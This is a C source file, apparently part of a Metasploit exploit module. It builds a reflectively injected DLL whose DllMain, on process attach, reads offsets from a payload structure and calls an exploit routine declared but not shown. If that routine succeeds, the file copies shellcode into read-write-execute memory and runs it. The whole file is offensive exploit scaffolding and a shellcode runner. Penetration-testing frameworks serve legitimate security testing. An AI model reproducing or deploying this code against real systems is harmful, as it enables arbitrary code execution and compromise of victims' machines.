#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "ReflectiveLoader.c"

#include <stdio.h>
#include <windows.h>

int exploit(unsigned int xleft_offset, unsigned int oob_offset);

typedef struct _MSF_PAYLOAD {
  DWORD  dwxLeftOffset;
  DWORD  dwOOBOffset;
  DWORD  dwSize;
  CHAR  cPayloadData[0x1000];
} MSF_PAYLOAD;
typedef MSF_PAYLOAD* PMSF_PAYLOAD;

int executepayload(void * payload, size_t size)
{
  LPVOID shellcode = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  if (!shellcode) {
    return -1;
  }
  memcpy(shellcode, payload, size);
  ((void(*)()) shellcode)();
  return 0;
}

int runpayload(PMSF_PAYLOAD pMsfPayload)
{
  if (!pMsfPayload) {
    return -1;
  }
  return executepayload(&pMsfPayload->cPayloadData, pMsfPayload->dwSize);
}

void beginexploit(LPVOID lpReserved) 
{
  PMSF_PAYLOAD payload = (PMSF_PAYLOAD)lpReserved;
  if (!exploit(payload->dwxLeftOffset, payload->dwOOBOffset))
  {
      runpayload(payload);
  }
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
  switch (dwReason)
  {
    case DLL_METASPLOIT_ATTACH:
      break;
    case DLL_QUERY_HMODULE:
      hAppInstance = hinstDLL;
      if (lpReserved != NULL)
      {
        *(HMODULE*)lpReserved = hAppInstance;
      }
      break;
    case DLL_PROCESS_ATTACH:
      hAppInstance = hinstDLL;
      beginexploit(lpReserved);
      break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
      break;
  }
  return TRUE;
}
